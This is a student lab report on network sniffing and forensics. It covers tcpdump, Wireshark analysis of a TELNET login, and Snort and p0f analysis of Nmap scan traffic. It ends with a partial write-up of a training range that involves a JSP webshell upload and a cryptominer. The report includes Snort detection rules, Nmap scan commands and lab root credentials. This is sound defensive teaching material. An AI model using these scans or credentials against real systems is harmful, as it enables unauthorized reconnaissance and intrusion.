20253913 2025-2026-2 《网络攻防实践》第三周作业

《网络攻防实践》第三次作业实验报告

一、知识点梳理与总结

1.1 网络嗅探与协议分析的基本概念

网络嗅探（Sniffing）是指对网络中传输的数据包进行捕获、观察与分析的过程。它本身是一种中性技术，在网络管理、故障排查、入侵检测、数字取证、安全审计等场景中都有重要作用；但如果被恶意使用，也可能被攻击者用于窃取明文口令、分析网络结构、定位脆弱服务。结合本次实验内容可以看到，网络嗅探既可以用于观察正常的 Web 访问过程，也可以用于重建不安全协议中的认证信息，还可以用于对扫描行为进行取证分析。

协议分析是在捕获原始数据包的基础上，对不同层次的协议字段进行解释和还原。典型分析对象包括 TCP 三次握手、HTTP 请求、TELNET 交互、ICMP 探测、异常 TCP 标志位组合、服务探测报文等。通过协议分析，可以从“看见数据包”上升到“理解通信行为”，这也是网络攻防实践中的核心能力之一。结合本次作业，协议分析主要体现在三类场景：一是通过 TCP SYN 报文识别 Web 访问目标；二是利用 TELNET 明文传输特点恢复用户名；三是通过综合分析 TCP/UDP/ICMP 行为、IDS 告警和指纹识别结果，对扫描器进行取证还原。

1.2 tcpdump 工具及其在网络分析中的作用

tcpdump 是 Linux/Unix 环境下经典的命令行抓包工具，适合快速、轻量地观察网络流量。它的优势在于：运行开销较小、过滤表达式灵活、适于终端环境与远程主机使用。在实际攻防中，tcpdump 常用于快速确认通信双方、识别连接建立过程、观察访问目标、辅助排查异常流量等。

本次实验中，使用的命令为：

tcpdump -n src 192.168.5.5 and tcp port 80 and "tcp[13] & 18 = 2"

该命令的含义可以拆解为：

-n：不进行域名解析，直接显示 IP 地址，便于快速观察目标主机；
src 192.168.5.5：只捕获源地址为本机 192.168.5.5 发出的数据包；
tcp port 80：限定为目标或源端口涉及 HTTP 的 TCP 流量；
"tcp[13] & 18 = 2"：对 TCP 标志位进行过滤。tcp[13] 表示 TCP 首部中的标志位字节，十进制 18 对应 SYN 与 ACK 标志的位掩码；当结果等于 2 时，表示当前数据包带有 SYN 且不带 ACK，也就是主动发起连接时发送的 SYN 报文。

因此，这条命令的本质是：只观察本机在访问 HTTP 服务时，向外部 Web 服务器发起 TCP 连接的 SYN 报文。这样做能够有效排除后续杂乱的数据交换，从而更清晰地识别“浏览器访问了哪些 Web 服务器”。

1.3 Wireshark 工具及其优势

Wireshark 是图形化协议分析工具，能够对链路层、网络层、传输层和应用层协议进行细粒度解析。相比 tcpdump，它更适合开展深入分析，原因主要有三点：

第一，Wireshark 提供了可视化界面，便于从大量数据中快速定位可疑流量；
第二，它支持丰富的显示过滤器，例如 telnet、tcp.flags.syn == 1 && tcp.flags.ack == 0、icmp、udp 等，便于围绕特定问题精准分析；
第三，它支持“追踪 TCP 流（Follow TCP Stream）”“统计（Statistics）”“会话（Conversations）”等高级功能，可用于还原应用层内容、识别扫描行为和观察通信结构。

本次作业中，Wireshark 分别用于：

分析 TELNET 登录过程中的明文认证信息；
打开 listen.pcap 取证文件并识别攻击主机与目标主机；
结合过滤器和统计功能分析多种扫描方法；
配合 Snort 告警与 p0f 指纹信息，完成扫描器取证。

1.4 TELNET 协议的安全性问题

TELNET 是早期常见的远程登录协议，其主要问题在于：默认不对传输内容进行加密。也就是说，用户输入的用户名、密码以及交互内容都可能以明文形式出现在网络中。如果攻击者能够获取同一网段中的流量，就可能通过抓包直接恢复认证信息。

本次实验中，Wireshark 在“追踪 TCP 流”后可以直接看到输入的用户名 guest，并且由于 TELNET 是按字符交互、回显的协议，因此会看到每个字符在客户端发送与服务端回显中各出现一次。实验文件中也明确指出：如果是以普通用户身份登录并输入密码，那么密码同样会以明文形式出现在捕获的数据中。这个现象直接说明了为什么 TELNET 在现代网络环境中已经基本被 SSH 等加密协议替代。

1.5 端口扫描与主机探测在网络攻防中的意义

端口扫描是攻击前侦察阶段最常见的技术之一。攻击者通常会先确认目标是否存活，再识别其开放端口、运行服务、服务版本，甚至进一步尝试识别操作系统。这些信息共同构成后续漏洞利用和攻击路径设计的基础。

从攻防对抗角度看，扫描分析至少有三方面意义：

识别侦察行为：通过观察连续的 SYN 包、异常 TCP 标志位组合、针对多个端口的探测序列，可以判断是否存在扫描行为；
判断攻击策略：不同扫描参数反映了攻击者不同的目标，例如 -sS 偏向快速且较隐蔽的端口状态识别，-O 用于操作系统探测，-sX 则属于利用异常标志位组合的探测方式；
辅助防御与取证：结合 IDS/IPS、日志与流量分析，可以还原攻击者的探测过程，判断暴露面与潜在风险。

本次取证分析中，实验内容并不是单一地回答“扫描用了哪一种方法”，而是识别出扫描器在一次侦察过程中同时使用了多种行为模式，包括 nmap -sS 的 TCP SYN 半开放扫描、基于 UDP 特征包的 nmap -O 操作系统探测、借助 icmp 观察到的主机存活探测（可对应 nmap -sn 的思路），以及通过异常 TCP 标志位判断出的 nmap -sX Xmas Scan。这些内容共同构成了完整的扫描画像。

二、实验过程

2.1 实践 tcpdump：对本机访问网站过程进行嗅探

2.1.1 实验目的

使用 tcpdump 对本机访问网站首页时的网络通信进行抓包分析，回答如下问题：

你在访问网站首页时，浏览器将访问多少个 Web 服务器？
这些 Web 服务器的 IP 地址分别是什么？

2.1.2 实验环境与操作命令

在 Kali Linux 中打开终端，执行如下命令：

tcpdump -n src 192.168.5.5 and tcp port 80 and "tcp[13] & 18 = 2"

192.168.5.5 是kali本机的ip地址

随后在浏览器中访问 baidu.com 首页，观察终端中输出的 TCP SYN 报文。实验文件中展示了抓包终端与浏览器访问百度首页的界面。

可以看到浏览器访问了两个web服务器，分别是：27.221.66.123、60.9.5.12

2.1.3 分析过程

由于过滤条件只保留了本机向外发起的 HTTP 连接 SYN 报文，因此每一条显示记录都意味着浏览器正尝试与某个 Web 服务器建立 TCP 连接。通过观察抓包结果，可以发现浏览器分别向两个不同的目的 IP 地址发起了连接：

60.9.5.124
27.221.66.123

这说明，在访问 baidu.com 首页的过程中，浏览器并不是只访问单一服务器，而是与两个 Web 服务器发生了通信。这在现代 Web 访问中是常见现象，因为一个网页往往可能涉及主页面、跳转、静态资源或负载均衡后的多个后端节点。

2.1.4 问题回答

1. 在访问网站首页时，浏览器将访问多少个 Web 服务器？

通过 tcpdump 抓包结果可知，浏览器一共访问了 2 个 Web 服务器。

2. 这些 Web 服务器的 IP 地址都是什么？

它们分别是：

60.9.5.124
27.221.66.123

2.2 实践 Wireshark：对 TELNET 登录 BBS 进行嗅探与协议分析

2.2.1 实验目的

使用 Wireshark 对本机通过 TELNET 登录 BBS 的过程进行抓包与协议分析，并回答以下问题：

你所登录的 BBS 服务器的 IP 地址与端口各是什么？
TELNET 协议是如何向服务器传送你输入的用户名及登录口令？
如何利用 Wireshark 分析嗅探的数据包，并从中获取你的用户名及登录口令？

2.2.2 实验步骤

步骤一：启动 Wireshark 并开始抓包

在 Kali Linux 中打开 Wireshark，双击网络接口 eth0 开始捕获数据包。实验文件中给出了启动 Wireshark 和选择接口的截图。

步骤二：通过 TELNET 连接 BBS

在终端中执行如下命令：

luit -encoding gbk telnet bbs.mysmth.net

该命令中：

telnet bbs.mysmth.net：使用 TELNET 连接清华BBS 服务器；
luit -encoding gbk：由于站点内容含中文，使用 GBK 编码进行显示，便于后续在 TCP 流中正确还原中文界面内容。

连接后，按照实验要求选择 guest 身份登录，登录完成后停止 Wireshark 抓包。

步骤三：过滤 TELNET 流量并识别服务器地址

在 Wireshark 显示过滤器中输入：

telnet

通过过滤结果可以清楚看到 TELNET 连接对应的通信双方，从而识别 BBS 服务器的 IP 地址和服务端口。实验文件中明确给出了结果：服务器 IP 为 120.92.212.76，端口为 23。

步骤四：追踪 TCP 流，恢复交互内容

在过滤出的任意一条 TELNET 记录上右键，选择“追踪 TCP 流（Follow TCP Stream）”。操作过程截图如下所示。

步骤五：观察用户名及编码内容

在 TCP 流窗口中，可以看到输入的用户名 guest。可以看到截图红框中显示：每个字母都出现了两次，且颜色一红一蓝，这是因为 TELNET 使用明文、按字符交互的方式传输数据；例如当输入字母 g 时，首先会有一条“客户端 → 服务器”的数据包，其中包含 g；紧接着服务器会发送一条“服务器 → 客户端”的数据包，里面同样包含 g。因此在 Follow TCP Stream 窗口里，就会看到 g 出现两次。后面的 u、e、s、t 也是同样的过程，所以用户名 guest 中的每个字符都会重复显示。另外，在 TCP Stream 视图中通常会用不同颜色区分两个方向的数据：红色表示客户端发送的数据，蓝色表示服务器返回的数据。因此你看到的“每个字母两次”，实际上并不是输入了两遍，而是一次输入、一次服务器回显。

如果登录方式不是 guest 而是普通用户账号，那么输入的密码同样会出现在 TCP 流中，因为 TELNET 不加密传输认证信息。为了正确阅读中文回显内容，需要在 TCP 流窗口中将字符编码切换为 GBK。实验文件显示，切换为 GBK 后，可以更清楚地读出登录过程中的服务器提示信息。

2.2.3 问题回答

1. 你所登录的 BBS 服务器的 IP 地址与端口各是什么？

通过在 Wireshark 中使用 telnet 过滤器分析捕获的数据包，可以确定所登录的 BBS 服务器 IP 地址为 120.92.212.76，端口为 23。

2. TELNET 协议是如何向服务器传送你输入的用户名及登录口令的？

TELNET 协议以明文方式传输用户名和口令，并且通常是逐字符交互式传输。也就是说，用户每输入一个字符，客户端就会将该字符发送给服务器，服务器再将其回显，因此在 Wireshark 的 TCP 流中往往会看到字符成对出现的现象。由于没有加密保护，因此无论是用户名还是密码，都可能被直接还原。

3. 如何利用 Wireshark 分析嗅探的数据包，并从中获取你的用户名及登录口令？

方法如下：

启动 Wireshark 并在正确的网络接口上抓包；
通过 luit -encoding gbk telnet bbs.mysmth.net 发起 TELNET 登录；
抓包结束后，在过滤器中输入 telnet，缩小分析范围；
选择任意一条相关记录，右键执行“追踪 TCP 流”；
在 TCP 流窗口中直接查看双向传输内容；
如涉及中文显示，切换字符编码为 GBK；
从明文流中识别用户名与可能的密码内容。

本次实验中，以 guest 身份登录，因此成功恢复了用户名 guest；如果实际输入了账号密码，那么密码也会以明文形式出现在 TCP 流中。

2.3 取证分析实践：解码网络扫描器（listen.pcap）

2.3.1 实验目的

对提供的取证数据包 listen.pcap 进行深入分析，回答如下问题：

攻击主机的 IP 地址是什么？
网络扫描的目标 IP 地址是什么？
本次案例中是使用了哪个扫描工具发起这些端口扫描？你是如何确定的？
你所分析的日志文件中，攻击者使用了哪种扫描方法，扫描的目标端口是什么，并描述其工作原理。
在蜜罐主机上哪些端口被发现是开放的？
攻击主机的操作系统是什么？

2.3.2 攻击主机与目标主机识别

（1）分析思路

将 listen.pcap 复制到 Kali 中并使用 Wireshark 打开。初步判断攻击方与被攻击方时，可以借助一个常见经验特征：

攻击机：通常会向大量不同端口持续发送探测请求；
靶机/蜜罐主机：通常主要表现为对这些请求进行响应。

在实验文件中，通过 Wireshark 观察到 172.31.4.178 持续向 172.31.4.188 发起 TCP 连接请求，因此可以判定：

攻击主机 IP 地址：172.31.4.178
网络扫描目标（蜜罐）IP 地址：172.31.4.188

（2）问题回答

1. 攻击主机的 IP 地址是什么？网络扫描的目标 IP 地址是什么？

通过 Wireshark 分析 listen.pcap 中的通信关系可以得出：

攻击主机 IP 地址：172.31.4.178
网络扫描目标 IP 地址：172.31.4.188

2.3.3 识别扫描工具：Nmap

（1）基于流量行为的初步判断

在 Wireshark 中使用如下过滤器：

tcp.flags.syn == 1 && tcp.flags.ack == 0

其含义是只显示仅带 SYN、不带 ACK 的 TCP 报文。这类报文通常是主动发起连接时的第一个包，也是许多 TCP 扫描的典型起点。如果发现某个源 IP 连续向不同目标端口发送大量这种报文，那么基本可以判断它正在进行端口扫描。这正是多数 Nmap 扫描的起始包特征。

（2）借助 Snort 确认扫描工具

为了进一步确认扫描工具，实验中安装并使用了 Snort：

apt-get update
apt-get install snort

然后执行：

snort -c /etc/snort/snort.lua -r listen.pcap -A alert_full

实验过程表明，第一次执行该命令时并没有立即给出期望的告警信息。进一步排查发现，问题并不在于规则没有加载，而在于 snort.lua 中的：

enable_builtin_rules = true

这一配置被注释掉了，也就是前面带有 --，导致内置规则没有真正启用。去掉注释后重新执行：

snort -c /etc/snort/snort.lua -r listen.pcap -A alert_full

即可看到与 Nmap 扫描相关的告警，从而确认扫描工具为 Nmap。

仅 SYN 报文过滤结果

apt-get update 与 apt-get install snort

第一次运行 snort -c /etc/snort/snort.lua -r listen.pcap -A alert_full 发现并没有生成预期的告警信息

排查 enable_builtin_rules 被注释问题

修正配置后再次运行 Snort

（3）问题回答

2. 本次案例中是使用了哪个扫描工具发起这些端口扫描？你是如何确定的？

本次案例中发起扫描的工具是 Nmap。判断依据有两层：

从流量行为上看，攻击主机持续向多个端口发送仅带 SYN 的 TCP 探测报文，这是典型的 Nmap 扫描起始特征；
从 IDS 分析上看，使用 Snort 读取 listen.pcap，在修正 snort.lua 中被注释的 enable_builtin_rules = true 配置后，能够识别出与 Nmap 扫描相关的告警信息，因此可以确认扫描工具为 Nmap。

2.3.4 扫描方法分析：不止一种，而是多种扫描/探测行为的组合

参考文章：xz.aliyun.com/news/13219

这一部分是本次实验的重点。根据实验表明，攻击者并非只采用了单一一种扫描方式，而是综合使用了多种扫描/探测方法，包括：

nmap -sS：TCP SYN 半开放扫描；
nmap -O：操作系统探测；
nmap -sn：主机存活探测思路（通过 ICMP Echo）；
nmap -sX：Xmas Scan；

（1）扫描的目标端口

在 Wireshark 中使用如下过滤条件：

ip.src == 172.31.4.178 && tcp.flags.syn == 1 && tcp.flags.ack == 0

然后在菜单中进入：

Statistics → Conversations → TCP

通过统计 SYN 报文的目标端口，可以得出此次扫描覆盖的目标端口范围为 1–65535。这说明攻击者进行了全端口范围的 TCP 探测。

（2）TCP SYN 扫描：`nmap -sS`

nmap -sS

即 TCP SYN 扫描。其工作原理如下：

攻击机向目标端口发送 SYN 探测包；
若目标端口开放，目标主机会回复 SYN+ACK；
攻击机并不继续完成握手，而是立即发送 RST 中断连接。

因此，这是一种半开放扫描，不会建立完整的 TCP 会话，具有相对隐蔽、速度较快的特点。对应的数据流表示如下所示：

Attacker → SYN
Target   → SYN ACK
Attacker → RST

检测规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 1024"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009582; classtype:attempted-recon; sid:2009582; rev:3; metadata:created_at 2010_07_30, updated_at 2014_03_18;)

对该规则中关键字段可作如下解释：

fragbits:!D 该部分表示数据包的标志位中不包含DF（Don't Fragment）位
dsize:0 数据包大小为0
flags:S,12 数据包的标志位，其中S表示SYN位被设置，12表示保留位未被设置
ack:0 数据包的确认号（ACK）为0
window:1024 TCP窗口大小为1024
threshold: type both, track by_dst, count 1, seconds 60 设置了规则的阈值，当满足条件时，在60秒内针对同一目的地IP地址只允许出现1次匹配

默认情况下大部分版本的nmap窗口大小为 1024，当然也有其它版本的扫描可能为： 2048, 3072, 4096 这同样是Nmap扫描的一个显著的特征

（3）操作系统探测：`nmap -O`

检测规则：

alert udp $EXTERNAL_NET 10000: -> $HOME_NET 10000: (msg:"ET SCAN NMAP OS Detection Probe"; dsize:300; content:"CCCCCCCCCCCCCCCCCCCC"; fast_pattern:only; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; depth:255; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; within:45; classtype:attempted-recon; sid:2018489; rev:3; metadata:created_at 2014_05_21, updated_at 2014_05_21;)

这说明在流量中出现了 Nmap 操作系统探测特征包。进一步通过过滤 udp，发现了相关特征数据包，因此推测攻击者使用了：

nmap -O

即 Nmap 的操作系统识别参数。-O 的目标是在扫描目标开放端口和网络行为的基础上，进一步推测目标主机的操作系统类型。

（3）主机存活探测：ICMP Ping，对应 `nmap -sn`

实验中继续通过过滤 icmp，发现存在：

Echo request
Echo reply

这说明扫描流程的第一步是进行 ICMP 存活探测。因此推测攻击者使用了：

nmap -sn

其工作原理为：

扫描机发送 ICMP Echo Request；
目标主机返回 Echo Reply；
若收到回显应答，说明目标主机在线。

因此可以判断，攻击者先确认 172.31.4.188 为存活主机，再继续实施后续端口与系统探测。

（4）Xmas Scan：`nmap -sX`

实验中使用如下过滤规则：

tcp.flags.fin == 1 && tcp.flags.syn == 0

发现了带有异常 TCP 标志位组合的报文，其中关键特征为：

FIN + PSH + URG

例如：

57932 → 1      [FIN, PSH, URG]
39890 → 3306   [FIN, ACK]

其中尤其是 FIN + PSH + URG 这一组合，是 Xmas Scan 的典型特征。推测攻击者使用了：

nmap -sX

Xmas Scan 的特点在于通过设置异常标志位组合来探测端口状态，在某些系统与配置条件下可以绕过简单的过滤规则，从而获得开放/关闭端口的线索。

（5）问题回答

3. 你所分析的日志文件中，攻击者使用了哪种扫描方法，扫描的目标端口是什么，并描述其工作原理。

本次取证文件中，攻击者并不是只使用了一种方法，而是使用了多种扫描/探测行为组合：

nmap -sS TCP SYN 扫描
- 目标端口范围：1–65535；
- 原理：发送 SYN 探测包，开放端口返回 SYN+ACK，攻击机再发送 RST 中断连接，因此不完成三次握手，属于半开放扫描；
- 特点：速度快、较隐蔽。
nmap -O 操作系统探测
- 依据：过滤 UDP 后发现了与 NMAP OS Detection Probe 相符的特征包；
- 原理：通过构造特定探测报文并分析目标响应行为，推测目标主机操作系统类型。
nmap -sn 主机存活探测思路
- 依据：过滤 ICMP 后发现 Echo request 和 Echo reply；
- 原理：先确认目标主机是否在线，再进行后续扫描。
nmap -sX Xmas Scan
- 依据：发现 FIN + PSH + URG 这一典型异常标志位组合；
- 原理：使用异常 TCP 标志位探测端口状态。

2.3.5 蜜罐主机开放端口分析

（1）分析方法

实验中使用如下过滤条件：

tcp.flags.syn == 1 and tcp.flags.ack == 1

其含义是显示 SYN+ACK 响应报文。对于 TCP 扫描而言，如果目标端口开放，主机通常会对探测 SYN 报文返回 SYN+ACK。因此，通过统计这些响应，可以确定哪些端口处于开放状态。

（2）分析结果

实验文件中列出的开放端口包括：

21（ftp）
22（ssh）
23（telnet）
25（smtp）
53（dns）
80（http）
139（netbios）
445（smb）
3306（mysql）
5432（postgresql）
8009
8180

（3）问题回答

4. 在蜜罐主机上哪些端口被发现是开放的？

通过分析蜜罐主机返回的 SYN+ACK 报文，可以确定开放端口为：

21, 22, 23, 25, 53, 80, 139, 445, 3306, 5432, 8009, 8180。

2.3.6 攻击主机操作系统识别

（1）分析步骤

实验中安装并使用 p0f：

apt-get install p0f

然后在 listen.pcap 所在目录下执行：

p0f -r listen.pcap

p0f 是一种被动式操作系统指纹识别工具，它通过分析 TCP/IP 协议栈特征来推测主机操作系统，而不需要主动向目标发送探测包。实验结果显示，攻击主机操作系统被识别为 Linux 2.6.x。

（2）问题回答

5. 攻击主机的操作系统是什么？

通过执行 p0f -r listen.pcap 对攻击流量进行被动指纹识别，可以判断攻击主机的操作系统为 Linux 2.6.x。

三、学习中遇到的问题及解决

3.1 问题一：Snort 初次分析 `listen.pcap` 时没有给出预期告警

问题表现：
已经安装 Snort，并执行了：

snort -c /etc/snort/snort.lua -r listen.pcap -A alert_full

但初次运行时并没有得到预期的 Nmap 扫描告警，容易让人误以为数据包中不存在相关特征，或者误以为 Snort 本身无法识别。

原因分析：
根据实验排查过程，并不是规则完全未加载，而是 snort.lua 中的：

enable_builtin_rules = true

被注释掉了，导致内置规则没有真正启用。

解决方法：

打开配置文件：
```
vi /etc/snort/snort.lua
```
找到 enable_builtin_rules = true；
去掉前面的注释符号 --；
保存退出；

重新执行：

snort -c /etc/snort/snort.lua -r listen.pcap -A alert_full

收获：
这说明在使用安全分析工具时，不能只会“运行命令”，还必须检查配置是否真正生效。否则很容易因为环境问题得出错误结论。

3.2 问题二：TELNET 追踪 TCP 流后中文内容显示乱码，不利于判断登录过程

问题表现：
在 Wireshark 中执行“追踪 TCP 流”后，虽然能看到大量双向交互内容，但如果直接以默认编码查看，中文提示信息不容易读懂，影响对登录过程和交互内容的理解。

原因分析：
BBS 交互内容涉及中文，而实验环境中是通过：

luit -encoding gbk telnet bbs.mysmth.net

发起连接，说明显示内容与 GBK 编码有关。如果在 Wireshark 的 TCP 流窗口中不切换编码，就可能出现乱码或难以辨认的字符序列。

解决方法：

在 Wireshark 中对 TELNET 流量执行“追踪 TCP 流”；
在 TCP 流窗口底部找到编码选项；
将编码方式切换为 GBK；
重新查看内容，即可更清楚地读出登录过程中的中文提示信息。

收获：
抓包分析不仅是“抓到了什么”，还包括“能否正确解释看到的内容”。在涉及中文站点、特殊终端环境或非 UTF-8 内容时，编码识别是必要步骤。

3.3 问题三：取证分析时容易误以为“扫描方法只有一种”

问题表现：
在分析 listen.pcap 时，看到大量 SYN 报文后，很容易直接下结论说“攻击者用了 nmap -sS 扫描”，从而忽略后续 UDP、ICMP 及异常标志位探测的其他行为。这样会导致分析结论过于单薄，不符合取证分析“完整还原攻击行为”的要求。

原因分析：
端口扫描分析如果只盯着一种过滤器，例如：

tcp.flags.syn == 1 && tcp.flags.ack == 0

就只能看到 SYN 扫描部分，而看不到：

通过 udp 发现的 OS Detection Probe；
通过 icmp 看到的主机存活探测；
通过异常标志位识别出的 Xmas Scan；
通过服务交互发现的版本探测行为。

解决方法：

先从总体流量中识别攻击源与目标；
再分别使用 tcp.flags.syn == 1 && tcp.flags.ack == 0、udp、icmp、tcp.flags.fin == 1 && tcp.flags.syn == 0 等不同过滤器分层观察；
将 Wireshark 结果与 Snort 告警、p0f 指纹结果结合；
最终不要只给出“一个扫描方法”，而应给出完整的扫描画像。

收获：
取证分析不应只追求“找到一个答案”，而应追求“尽可能完整、可解释地重建攻击行为”。这也是本次实验最值得总结的方法论之一。

四、学习感想和体会

通过本次实验，我对“网络嗅探—协议分析—取证还原”这一完整链条有了更直观、也更深入的理解。最开始接触抓包工具时，往往只是停留在“看数据包”的层面，但经过这次实验，我逐渐体会到真正重要的是：如何根据实验目标设计过滤条件，如何从协议字段中提炼有效信息，以及如何把零散现象组织成完整结论。

在 tcpdump 实验中，我认识到合理的过滤条件能够显著提升分析效率。通过只观察本机发出的 HTTP SYN 报文，原本复杂的网页访问过程被压缩成了“访问了哪些服务器”这一核心问题，分析思路非常清晰。这让我意识到，抓包分析并不是数据越多越好，而是要围绕目标进行筛选。

在 TELNET 实验中，我对明文协议的安全风险有了非常直接的感受。以前在理论上知道 TELNET 不安全，但这次通过 Wireshark 亲眼看到用户名在 TCP 流中以明文形式出现，而且如果输入密码也会被直接看到，这种体验比课本上的概念更有冲击力。它让我更加理解为什么现代系统必须优先使用 SSH、HTTPS 等加密协议，也让我意识到“嗅探能力”既是安全分析的工具，也可能成为攻击者窃取信息的手段。

在 listen.pcap 取证分析部分，我最大的体会是：真正的取证工作不能满足于“找到一个特征”，而要努力恢复攻击的整体过程。攻击者不是只发了几条 SYN 包，而是先确认主机存活，再进行端口扫描、系统探测、异常标志位扫描以及服务版本侦察。只有把这些行为拼接起来，才能形成对攻击画像的完整理解。同时，Snort 配置问题也让我认识到，安全工具本身的配置正确性会直接影响分析结果，不能机械依赖工具输出。

总体而言，这次实验不仅加深了我对 tcpdump、Wireshark、Snort、p0f 等工具的理解，也让我对网络攻防中的侦察、嗅探和取证分析有了更加系统的认识。今后在学习网络安全时，我会更加重视从“数据包现象”到“协议原理”再到“攻击意图”的分析过程，不只是停留在会操作工具，而是努力具备独立解释和还原网络行为的能力。

~~电子取证只能找到是来自23年的天津智网杯，没有找到检材；这次作业留的时间比较充裕，复现了另外一个相对简单的靶场~~

五、靶场复现

5.1 靶场背景

版权：州弟学安全(公众号&B站同名)，不定时直播自行开发靶场学习思路，目前红蓝靶场共发布近20个

背景：完全仿真了某学校长期未运营维护的程序，被黑客发现了漏洞，但好在学校有全流量设备，抓取到了过程中的流量包，需要你进行上机以及结合流量分析，排查攻击者利用的漏洞以及上传利用成功的木马，以及清除掉攻击者上传的挖矿程序以及后门程序，挖矿环境完全还原了真实环境，但不会出网，比较有意义，清除做了check操作，你只需要按照相关题目引导进行清除
在指定目录下查看flag提交即可，流量包在远程登录成功后/hacker2025.pcap(玄机直接以附件形式下载)

流量中被攻击机IP：192.168.37.11
SSH远程端口：2222 账号密码：root/edusec123 WEB端口为：19999 你需要访问和流量进行还原攻击者路径，在注册账号登录成功后，下载首页的应急响应报告模板进行复现描述攻击过程以及加固流程，非常具有学习意义

环境地址：网盘离线安装：https://docs.qq.com/doc/DVkNMaVhUTXpnekpa(夸克官方一直屏蔽大文件，很烦人，所以需要在线表格更新)
(离线获取主机IP需以扫描的方式获取，因为远程登录是映射的docker容器，NAT是动态IP，所以需要进行扫描IP获取主机，如：nmap -PE -n -T4 192.168.37.0/24 看到有2222端口和19999端口的大概率就是了)
玄机在线体验：https://xj.edisec.net/challenges/159
玄机邀请码获取(关注州弟学安全公众号发送邀请码)

题目：

使用工具分析共有多少IP存在扫描web特征，提交其数量
在2025.6.22日17点03分27秒，192.168.37.10，55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
提交存在使用NMAP扫描特征的IP
审计流量并结合web站点，攻击者通过什么漏洞进行控制主机，提交漏洞文件名接口
审计流量并结合web站点，攻击者通过哪个用户名利用的漏洞，提交其注册用户名
审计流量并结合漏洞，提交攻击者控制成功木马文件名
审计流量并清除掉攻击者上传的木马，清除成功后在/var/flag/1/flag中查看flag并提交
黑客拿到主机权限后，上传了挖矿木马，需要你提交矿池地址
清除掉主机上的挖矿木马，完成后在/var/flag/2/flag文件中查看flag并提交
黑客做了后门，即使你清除以后，仍然会定时更新挖矿程序并运行，你找到这个程序，提交其路径
清除掉后门挖矿程序，在/var/flag/3/flag下查看提交flag

5.2 主机发现

ifconfig

扫描c段
```
sudo nmap -sn 192.168.5.0/24
```

靶机ip地址：192.168.5.8

网页访问

5.3 分析过程

使用ssh远程工具连接2222端口，账号密码：root/edusec123，在root目录下有个hacker2025.pcap流量包，下载到本地分析

可以看到cpu满载了，确实是挖矿的一个显著特征

下载到流量包后，用wireshark打开，在上方统计->ipv4->all address

短时间内大量访问不存在的文件属于扫描特征，但是由于实战中每个站点"文件不存在"返回状态码不一致，可能是404、403、500、502、405等情况，那么我们可以自行测试

本次站点文件不存在是404状态码，看UI使用的是tomcat

然后进行过滤器条件如下，进行筛选带有扫描特征的条件

http.response.code==404

5.3.1 使用工具分析共有多少IP存在扫描web特征，提交其数量

通过扫描次数看，实际上排除极个别少量的次数以及被攻击机本机的IP，是可以看到有29个IP进行了扫描

看州师傅的wp学到了另外一个流量分析工具—ZUI

count() by id.orig_h,status_code|status_code==404

count() by 表示计数，id.orig_h表示源地址，status_code表示状态码，|表示条件分隔

与wireshark不同的是，ZUI在筛选后没有关于被攻击机的流量，所以只需要将少量的状态码(这里称为误报)进行剔除，最终也是29个

5.3.2 在2025.6.22日17点03分27秒，192.168.37.10，55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

(frame.time >= "2025-06-22 17:03:27") && (frame.time <= "2025-06-22 17:03:28") && ip.src == 192.168.37.10 && tcp.srcport == 55689 && (http.request or tls.handshake.type == 1)

这个我按给出的筛选命令筛选没有结果最后去掉了时间

可以明显的看到，先是POST上传文件再uploadSuccess=true表明上传成功最后访问该上传的文件

最终的flag为：06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

5.3.3 提交存在使用NMAP扫描特征的IP

该题和我们上边实验是相似的，结合上边的分析Nmap扫描特征的方法即可

NMAP默认最大的特征是在扫描HTTP的时候会在UA里面包含nmap关键字的特征

http.user_agent contains "Nmap"

假如对方没有扫描HTTP协议，只进行了端口扫描？那么在nmap中使用TCP SYN扫描的情况下，可以进行筛选

tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0

默认情况下大部分版本的nmap窗口大小为 1024，当然也有其它版本的扫描可能为： 2048, 3072, 4096

如果使用UDP进行了扫描，则筛选条件如下

(udp.length == 8 and ip.frag_offset == 0) or (icmp.type == 3 and icmp.code == 3)

这里没有结果的原因是因为，本次扫描使用的nmap -sV 参数，sV默认使用的SYN进行半连接扫描

总结一下-sV和-sS参数的区别

-sV（版本探测）本身不是一种端口扫描技术，而是一个“服务识别”阶段。
-sV默认会先进行端口扫描（通常是SYN扫描 -sS，如果您是Root用户的话），然后再对发现的开放端口进行服务版本探测。
-sS（SYN扫描）是一种端口扫描技术，只进行TCP半连接，不完成三次握手。
用一句话概括：-sV是一个“组合技”，它通常包含了类似 -sS的扫描来发现端口，然后再进行深度探测。

所以最终使用nmap扫描的IP是：192.168.37.4

5.3.4 审计流量并结合web站点，攻击者通过什么漏洞进行控制主机，提交漏洞文件名接口

count () by id.orig_h,status_code,uri|status_code==200 | sort -r count

访问最多的是一个上传成功的jsp文件，其次是上传成功的接口，IP就是：192.168.37.10

通过该接口，在wireshark中查找上传文件的内容

ip.addr == 192.168.37.10&&http.request.uri=="/servlet/user/profile?uploadSuccess=true"

追踪TCP流

通过图片可以看到上传文件名为shell.jsp，后面上传成功后，302跳转到/servlet/user/profile?uploadSuccess=true接口，表示上传成功的回显，至于最后访问的06853c4f-8b05-4949-90ae-9adc49f27a94.jsp还是70b86b64-ce15-46bf-8095-4764809e2ee5.jsp都是后端进行了重命名操作的

那么这里漏洞文件接口为uploadAvatar，因为是从这个接口上传的，这里存在任意文件上传漏洞

冰蝎特征

冰蝎2.0

使用 AES加密+base64编码发起三次请求。

